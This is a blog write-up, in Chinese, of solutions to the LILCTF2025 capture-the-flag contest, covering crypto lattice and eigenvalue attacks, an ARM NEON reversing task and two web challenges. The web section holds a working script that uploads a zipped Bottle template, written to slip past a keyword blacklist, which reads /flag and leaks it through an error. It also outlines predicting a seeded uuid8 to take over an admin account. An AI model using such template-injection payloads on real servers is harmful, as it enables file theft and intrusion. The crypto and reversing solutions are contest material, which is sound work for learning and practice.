LILCTF2025

应该是最后一场比赛了,拼尽全力无法战胜

Crypto

ez_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from sage.all import *
from Crypto.Util.number import *

flag = b'LILCTF{test_flag}'[7:-1]
lambda1 = bytes_to_long(flag[:len(flag)//2])
lambda2 = bytes_to_long(flag[len(flag)//2:])
p = getPrime(512)
def mul(vector, c):
return [vector[0]*c, vector[1]*c]

v1 = [getPrime(128), getPrime(128)]
v2 = [getPrime(128), getPrime(128)]

A = matrix(GF(p), [v1, v2])
B = matrix(GF(p), [mul(v1,lambda1), mul(v2,lambda2)])
C = A.inverse() * B

print(f'p = {p}')
print(f'C = {str(C).replace(" ", ",").replace("\n", ",").replace("[,", "[")}')

恶补了下线代,都忘光了

B=λ100λ2A记为:B=DA可知:C=A1B=A1DAB=\begin{vmatrix} \lambda_1&0\\ 0&\lambda_2\\ \end{vmatrix}*A\\ 记为:B=D*A\\ 可知:C=A^{-1}B=A^{-1}DA

因此C和是相似矩阵,特征值相同,为λ1\lambda_1λ2\lambda_2

求解特征多项式det(CxI)=x2tr(C)x+det(C)=0det(C-xI)=x^2-tr(C)*x+det(C)=0

用sage很快就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from sage.all import *
from Crypto.Util.number import long_to_bytes

p = 9620154777088870694266521670168986508003314866222315790126552504304846236696183733266828489404860276326158191906907396234236947215466295418632056113826161
C = [7062910478232783138765983170626687981202937184255408287607971780139482616525215270216675887321965798418829038273232695370210503086491228434856538620699645,7096268905956462643320137667780334763649635657732499491108171622164208662688609295607684620630301031789132814209784948222802930089030287484015336757787801],[7341430053606172329602911405905754386729224669425325419124733847060694853483825396200841609125574923525535532184467150746385826443392039086079562905059808,2557244298856087555500538499542298526800377681966907502518580724165363620170968463050152602083665991230143669519866828587671059318627542153367879596260872]

C_matrixC=matrix(GF(p), C)

tr=C_matrixC.trace()
det=C_matrixC.det()

R.<x>=PolynomialRing(GF(p), 'x')
f=x^2-tr*x+det
roots=f.roots()

print(long_to_bytes(int(roots[0][0])))
print(long_to_bytes(int(roots[1][0])))

mid_math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from sage.all import *
from Crypto.Util.number import *
from tqdm import tqdm
from random import randint
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

flag = b'LILCTF{test_flag}'

p = getPrime(64)
P = GF(p)

key = randint(2**62, p)

def mul(vector, c):
return [vector[0]*c, vector[1]*c, vector[2]*c, vector[3]*c, vector[4]*c]

v1 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v2 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v3 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v4 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
v5 = [getPrime(64), getPrime(64), getPrime(64), getPrime(64), getPrime(64)]
a, b, c, d, e = getPrime(64), getPrime(64), getPrime(64), getPrime(64), 0

A = matrix(P, [v1, v2, v3, v4, v5])
B = matrix(P, [mul(v1,a), mul(v2,b), mul(v3, c), mul(v4, d), mul(v5, e)])
C = A.inverse() * B
D = C**key

key = pad(long_to_bytes(key), 16)
aes = AES.new(key,AES.MODE_ECB)
msg = aes.encrypt(pad(flag, 64))

print(f"p = {p}")
print(f'C = {[i for i in C]}'.replace('(', '[').replace(')', ']'))
print(f'D = {[i for i in D]}'.replace('(', '[').replace(')', ']'))
print(f"msg = {msg}")

把上一题喂给deepseek-r1就可以了

问题分析

该问题结合了线性代数和AES加密,需要从给定的矩阵和密文中恢复加密密钥。以下是关键点分析:

1. 矩阵结构分析

  • 矩阵 AA 由5个随机64位素数向量组成:A=[v1 v2 v3 v4 v5]A = \begin{bmatrix} v_1 \ v_2 \ v_3 \ v_4 \ v_5 \end{bmatrix}
  • 矩阵 BB 是标量乘法结果:B=[av1 bv2 cv3 dv4 0v5]B = \begin{bmatrix} a \cdot v_1 \ b \cdot v_2 \ c \cdot v_3 \ d \cdot v_4 \ 0 \cdot v_5 \end{bmatrix},其中 e=0e=0
  • 矩阵 C=A1BC = A^{-1} \cdot B
  • 矩阵 D=CkeyD = C^{key}

2. 关键数学关系

  • C=A1diag(a,b,c,d,0)AC = A^{-1} \cdot \text{diag}(a, b, c, d, 0) \cdot A,因此 CC 的特征值为 a,b,c,d,0{a, b, c, d, 0}
  • D=Ckey=A1diag(akey,bkey,ckey,dkey,0)AD = C^{key} = A^{-1} \cdot \text{diag}(a^{key}, b^{key}, c^{key}, d^{key}, 0) \cdot A,特征值为 akey,bkey,ckey,dkey,0{a^{key}, b^{key}, c^{key}, d^{key}, 0}
  • 核心洞察CCDD 的特征值存在指数关系:
    • 非零特征值满足 di=cikeymodpd_i = c_i^{key} \mod p
    • 00 特征值直接对应

3. 加密流程

  1. 生成随机密钥 key[262,p]key \in [2^{62}, p]
  2. 使用 PKCS#7 填充将 keykey 扩展为 16 字节 AES 密钥
  3. 用 AES-ECB 加密填充后的 flag(填充至 64 字节)
  4. 输出 p,C,Dp, C, D 和密文 msgmsg

4. 攻击思路

  1. 提取特征值
    • 计算 CC 的特征值 c1,c2,c3,c4,0{c_1, c_2, c_3, c_4, 0}
    • 计算 DD 的特征值 d1,d2,d3,d4,0{d_1, d_2, d_3, d_4, 0}
  2. 求解密钥
    • 对每对非零特征值 (ci,dj)(c_i, d_j) 求解离散对数 keyij=logci(dj)modpkey_{ij} = \log_{c_i}(d_j) \mod p
    • 验证 keyijkey_{ij} 是否满足所有特征值关系
  3. 解密 flag
    • keykey 重构 AES 密钥
    • AES-ECB 解密并去除填充

解决方案代码

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from sage.all import GF, matrix
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
import sys

# ===== 输入数据替换为实际输出 =====
p = 123456789 # 替换为实际的素数 p
C_list = [[...], [...], [...], [...], [...]] # 替换为实际的 5x5 矩阵 C
D_list = [[...], [...], [...], [...], [...]] # 替换为实际的 5x5 矩阵 D
msg = b'...' # 替换为实际的密文字节串

# ===== 特征值计算 =====
Fp = GF(p)
C = matrix(Fp, C_list)
D = matrix(Fp, D_list)

# 计算特征值
c_evals = C.charpoly().roots(ring=Fp, multiplicities=False)
d_evals = D.charpoly().roots(ring=Fp, multiplicities=False)

# 过滤非零特征值
c_nonzero = [x for x in c_evals if x != Fp(0)]
d_nonzero = [y for y in d_evals if y != Fp(0)]

if len(c_nonzero) != 4 or len(d_nonzero) != 4:
print("错误:非零特征值数量不足")
sys.exit(1)

# ===== 求解离散对数恢复密钥 =====
key_found = None
for c_val in c_nonzero:
for d_val in d_nonzero:
try:
k = d_val.log(c_val) # k = log_{c_val}(d_val)
if k < 2**62:
continue

# 验证所有特征值
valid = True
for x in c_nonzero:
if x**k not in d_nonzero:
valid = False
break

if valid:
key_found = k
print(f"[+] 找到密钥: {k}")
break
except Exception as e:
continue
if key_found is not None:
break

if key_found is None:
print("[-] 密钥恢复失败")
sys.exit(1)

# ===== AES 解密 =====
key_bytes = long_to_bytes(key_found)
pad_len = 16 - len(key_bytes)
key_padded = key_bytes + bytes([pad_len] * pad_len) # PKCS#7 填充

try:
cipher = AES.new(key_padded, AES.MODE_ECB)
flag_padded = cipher.decrypt(msg)
flag = unpad(flag_padded, 64) # 移除填充
print(f"[+] Flag: {flag.decode()}")
except Exception as e:
print(f"[-] 解密失败: {e}")

Linear

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import os
import random
import signal

signal.alarm(10)

flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")

nrows = 16
ncols = 32

A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
x = [random.randint(1, 114514) for _ in range(ncols)]

b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
print(A)
print(b)

xx = list(map(int, input("Enter your solution: ").strip().split()))
if xx != x:
print("Oh, your linear algebra needs to be practiced.")
else:
print("Bravo! Here is your flag:")
print(flag)

类似于背包,参考ezbag:HGAME2025-Crypto - Naby的博客

就多乘一个数,尽量得到最小向量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
import ast
sh = remote("challenge.xinshi.fun",47837)

A=ast.literal_eval(sh.recvline().decode())
b=ast.literal_eval(sh.recvline().decode())

nrows = 16
ncols = 32
N=2**32

L=Matrix(ZZ,ncols+1,ncols+nrows)
for i in range(ncols):
L[i,i]=2
for j in range(nrows):
L[i,ncols+j]=A[j][i]*N
L[-1,:]=1
for j in range(nrows):
L[-1,ncols+j]=b[j]*N
x=L.BKZ()

x=[(abs(int(i))+1)//2 for i in x[0][:ncols]]
res=''
for i in x:
res+= str(i)+' '
sh.sendlineafter(b'solution: ',res.encode())
print(sh.recvall())
sh.close()

baaaaaag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from Crypto.Util.number import *
import random
from Crypto.Cipher import AES
import hashlib
from Crypto.Util.Padding import pad
from secret import flag

p = random.getrandbits(72)
assert len(bin(p)[2:]) == 72

a = [getPrime(90) for _ in range(72)]
b = 0
t = p
for i in a:
temp = t % 2
b += temp * i
t = t >> 1

key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = pad(flag,16)
ciphertext = cipher.encrypt(flag)

print(f'a = {a}')
print(f'b = {b}')
print(f"ciphertext = {ciphertext}")

参考ezbag:HGAME2025-Crypto - Naby的博客

就多了个block_size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from sage.all import *
from Crypto.Cipher import AES
import hashlib

a =
b =
ciphertext =
n=72
L=Matrix(ZZ,n+1,n+1)
for i in range(n):
L[i,i]=2
L[i,-1]=a[-i-1]
L[-1,:]=1
L[-1,-1]=b
x=L.BKZ(block_size=32)
p=''
for i in x[0][:n]:
if i==x[0][0]:
p+='1'
else:
p+='0'
p=int(p,2)

key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(ciphertext)
print(flag)

Misc

是谁没有阅读参赛须知?

LILCTF{Me4n1ngFu1_w0rDs}

Web

ez_bottle

稍微看了下bottle,发现这过滤的基本没过滤,让AI快速搓个交互脚本后,发现卡在怎么回显

最后在这里发现了可以触发报错

https://blog.csdn.net/weixin_59166557/article/details/146161897

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import re
import zipfile

url = "http://challenge.xinshi.fun:34182/upload" # 替换为目标URL

BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":",
"bash", "_", "globals","get", "open"]
# 创建一个文件包含恶意tpl的ZIP文件
exp="""
%import io
%a=io.FileIO('/flag','r').read();raise Exception(a)
""".strip()
for black in BLACK_DICT:
if black in exp:
print(black)
exit()

with zipfile.ZipFile("1.zip", "w") as zf:
zf.writestr("1.tpl", exp)

# 准备恶意ZIP文件
files = {'file': ('1.zip', open('1.zip', 'rb'), 'application/zip')}

# 发送上传请求
response = requests.post(url, files=files)

if response.status_code == 200:
# 提取访问链接
match = re.search(r'/view/([a-f0-9]{32})/([^"]+)', response.text)
if match:
md5_hash = match.group(1)
filename = '1.tpl'
exploit_url = f"{url.rsplit('/', 1)[0]}/view/{md5_hash}/{filename}"
print(f"[+] Exploit URL: {exploit_url}")

# 触发漏洞读取flag
flag_response = requests.get(exploit_url)
print(f"[+] Text:\n{flag_response.text}")
else:
print("[-] Failed to extract exploit URL from response")
print("Response content:", response.text)
else:
print(f"[-] Upload failed (HTTP {response.status_code})")

*Ekko_note

只做到了解决uuid8的部分,后面不会了

通过尝试搜索低版本python的uuid8,刚好发现拉面特徐师傅的博客

1

得到uuid8生成代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def uuid8(a=None, b=None, c=None):
"""Generate a UUID from three custom blocks.

* 'a' is the first 48-bit chunk of the UUID (octets 0-5);
* 'b' is the mid 12-bit chunk (octets 6-7);
* 'c' is the last 62-bit chunk (octets 8-15).

When a value is not specified, a pseudo-random value is generated.
"""
if a is None:
import random
a = random.getrandbits(48)
if b is None:
import random
b = random.getrandbits(12)
if c is None:
import random
c = random.getrandbits(62)
int_uuid_8 = (a & 0xffff_ffff_ffff) << 80
int_uuid_8 |= (b & 0xfff) << 64
int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff
# by construction, the variant and version bits are already cleared
int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS
return UUID._from_int(int_uuid_8)

a可知是admin\x00

随机数种子是固定的

登陆后可以在/server_info 查看到服务器启动时间 random.seed(SERVER_START_TIME)

_RFC_4122_VERSION_8_FLAGS的值根据RFC标准RFC 9562: Universally Unique IDentifiers (UUIDs)

1
xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx

M和N的最高位都为1,换算一下就出来了

然后就可以修改admin账号的密码了

后面就不会了

Reverse

ARM ASM

2

有三个看不懂的函数veorq_s8, vqtbl1q_s8, vld1q_dup_s8

通过搜索得知这是neon指令集,简单说就是:

veorq_s8: 异或

vqtbl1q_s8: 取对应索引位置的值

vld1q_dup_s8: 将一个值扩展到(一个寄存器的)所有通道(?) 这里理解就是一个数组

知道这些就很简单了

比较坑的就是这base64的表不是常规表,用cyberChef换一下就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import base64

a=b'\x92\xb7\x7c\x0b\xbc\x6b\xb2\x39\x7d\x13\xa1\x50\x72\x20\x48\x62\x34\x61\xc3\xb0\x54\xeb\x33\x6d\xca\x35\x72\x5b\xb7\x66\xf2\xb6\x69\x93\xbc\x62\xaa\x33\x67\xf3\x31\x6b\x9b\x2d\x6c\x3b\xaf\x6c'
a=bytearray(a)
for j in range(0, 48, 3):
a[j]=((a[j]>>3)|((a[j]&0x7)<<5))&0xff
a[j+1]=((a[j+1]<<1)|(a[j+1]>>7))&0xff

t=bytes([13,14,15,12,11,10,9,8,6,7,5,4,2,3,1,0])
t1=bytes([i^1 for i in t])

def re_table(a,t):
a=[a[i]^t[i] for i in range(16)]

inv_t=[0]*16
for i in range(16):
inv_t[t[i]]=i

return bytes([a[inv_t[i]] for i in range(16)]).decode()
print(re_table(a[:16],t)+re_table(a[16:32],t)+re_table(a[32:],t1))
# LILCTF{ez_arm_asm_meow_meow_meow_meow_meow_meow}

LILCTF2025
http://example.com/2025/08/17/LILCTF2025/
作者
Naby
发布于
2025年8月17日
许可协议